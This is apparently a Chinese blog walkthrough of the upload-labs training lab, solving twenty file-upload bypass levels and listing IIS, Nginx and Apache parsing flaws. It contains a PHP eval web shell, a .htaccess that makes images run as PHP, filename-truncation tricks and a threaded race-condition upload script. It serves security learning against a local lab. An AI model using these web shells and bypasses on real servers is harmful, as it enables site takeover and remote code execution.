本文最后更新于 2019年05月14日,共计 1313 字,欢迎文章底部讨论。

环境

upload-labs为上传漏洞测试,除了上传漏洞外,测试过程也依托中间件的解析漏洞,所以选用的不通中间件可能测试部分会有略微不同,我用的phpstudy,所以中间件是apache。

靶机环境:https://github.com/c0ny1/upload-labs
操作系统:windows
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2、php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接( 配置文件httpd.conf 中 LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All)
2019-05-08T13:31:41.png

除了以上方法,还有 后缀名回车隔断。

常见中间件解析漏洞

  • 1. IIS 6.0

test.asp;.jpg (也可使用%00截断)
test.asp/111.jpg (该目录下所有格式文件都被当做脚本语言执行)
除此之外 ,111.asa、111.cer、111.cdx、111.asp、111.aspx、111.ascx、111.ashx 也会被当作asp执行。

  • 2. IIS 7.0/7.5 、Nginx

test.jpg ---> test.jpg/.php
在图片路径后面加 /.php,如果页面乱码,就存在解析漏洞,使用菜刀连接。

  • 3. Apache

apache从右往左判断解析,一直到识别到解析脚本后缀为止。
test.jpg.php.owf.sdqwd.sacerfervcscd 比如这样后面都识别不了,往左到php就能解析。
如果 .htaccess 可被修改或能重新上传,在 .htaccess 中写入

<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样上传的所有jpg图片都可当脚本解析。


Pass-01(前端JS绕过)

js对文件后缀进行校验,禁用网站javascript或者抓包绕过。

上传一个一句话木马 cmd.php ,先将文件改为 cmd.php.jpg 格式,再用burp抓包改回 cmd.php,发送出去。
cmd.php内容:<?php @eval($_POST['cmd']);?>
2019-05-08T13:32:08.png

Pass-02(MIME绕过)

本节对数据包的MIME(content-type)进行了限定,只允许 image/jpeg、image/png、image/gif 图片内容数据传输。操作和第一节一样。
2019-05-08T13:32:17.png

Pass-03(上传特殊可解析后缀绕过 php4、phtml)

对几种常见后缀做了限制(含大小写),删除文件名末尾点,文件名首尾去空格。可使用 php4、phtml 等后缀格式进行绕过。
2019-05-08T13:32:26.png

Pass-04(上传 .htaccess)

严格后缀(含大小写)校验,删除文件名末尾点,文件名首尾去空格。先上传 .htaccess,让所有图片都解析成php,再上传正常的图马。

<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

2019-05-08T13:32:37.png

Pass-05(后缀大小写绕过)

同四。但没有对文件后缀大小写进行校验,通过 .Php .phP就可绕过。
2019-05-08T13:32:47.png

Pass-06(后缀末尾 加空格 绕过)

严格后缀(含大小写)校验,删除文件名末尾点。但没有首尾去空格,可以通过加 空格 绕过。
2019-05-08T13:32:58.png

Pass-07(后缀末尾 加点 绕过)

严格后缀(含大小写)校验,文件名首尾去空格。但没有删除文件名末尾点,所以使用 .php. 这样绕过。
2019-05-08T13:33:08.png

Pass-08( ::$DATA 绕过 )

严格后缀(含大小写)校验,且不允许上传 .htaccess,删除文件名末尾点,文件名首尾去空格。
但没有对后缀名进行去 ::$DATA 处理,可以在后缀名加 ::$DATA 绕过。
2019-05-08T13:33:17.png

Pass-09( 加点 空格 配合绕过)

严格后缀(含大小写)校验,且不允许上传 .htaccess,删除文件名末尾点,删除文件名中的 ::$DATA 字符 ,文件名首尾去空格。可以通过多重 点空格 . . . 来绕过。
2019-05-08T13:33:25.png

Pass-10(双后缀名绕过)

严格后缀(含大小写)校验,且不允许上传 .htaccess,将这些 后缀名通过正则删掉,可以使用 pphphp 这样 经过正则后 编程 php 后缀。
2019-05-08T13:33:36.png

Pass-11(%00截断绕过)

上传文件后缀白名单,上传文件由路径+时间重新命令,可以在路径里增加 php 格式文件,使用 %00 将重命名的jpg文件截断使其解析。
2019-05-08T13:33:42.png

Pass-12(同上%00截断)

save_path是通过 post 传进来的,还是利用 %00 截断,得使用 url-decode 解码一次,因为post不会像get对%00进行自动解码。也可直接在二进制中使用 00 进行修改(上节路径在url里,这节的路径在post包内)。
2019-05-08T13:33:50.png
2019-05-08T13:34:02.png

Pass-13(文件头绕过)

只允许jpg、pen、gif类型文件上传,且打开文件读取文件2个字节文件头标识符(如:jpg 为 GIF89a ),正常上传图马就行,或者在一句话木马前面加该标识符。当然这里没法直接利用,图马不解析,需要配合其他漏洞使用(如文件包含漏洞)。
2019-05-08T13:34:10.png
2019-05-08T13:34:17.png

Pass-14(突破getimagesize)

和13节一样,只不过这里限定为图片是通过 getimagesize()函数 来获取图片信息。所以图马或普通一句话木马+图片标识字段 可破(不重复截图)。

Pass-15(突破exif_imagetype)

同13、14节,这里是通过 exif_imagetype()函数 来判别图片类型,所以 这节是通过不同方式限定上传文件格式,解法一样(不重复截图)。
exif_imagetype():读取图像的第一个字节并检查其签名。

Pass-16(图片二次渲染)

查找渲染文件内容无更改位置插入马。

Pass-17(条件竞争,大批量发包绕过)

可使用burp爆破,也可用如下代码:

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /Pass-17/index.php?action=show_code HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/Pass-17/index.php?action=show_code
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------3112832919964
Content-Length: 314

-----------------------------3112832919964
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/jpeg

GIF89a
<? phpinfo();?>
-----------------------------3112832919964
Content-Disposition: form-data; name="submit"

ä¸Šä¼ 
-----------------------------3112832919964--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")


pool = ThreadPool(100)
pool.map(upload, range(10000))
pool.close()
pool.join()

文件上传到upload目录下,反复访问 http://127.0.0.1/upload/x.php 在竞争的某个瞬间可能访问到。
2019-05-08T13:34:51.png

Pass-18(条件竞争)

上传文件会被重命名,但当发送速度超过程序处理速度,就会有原始文件未被重命名。这里利用apache的解析漏洞,使用 x.php.7z 由于apache不解析7z,向前执行php。
2019-05-08T13:35:04.png

Pass-19(%00截断,同12节)

黑名单限制后缀,且强制保留命名为 upload-19.jpg,抓包截断为 upload-19.php口.jpg 口 为 %00 解码字符。
2019-05-08T13:35:14.png
也可利用apache解析漏洞 x.php.xxx
2019-05-08T13:35:21.png

Pass-20(MIME + 修改上传后文件重命名绕过)

首先限定了文件类型,修改 Content-Type: image/jpeg,然后对上传文件重命名,且对后缀进行了校验,从代码看可以使生成文件名为 upload-20.php/ 绕过。
2019-05-14T14:31:42.png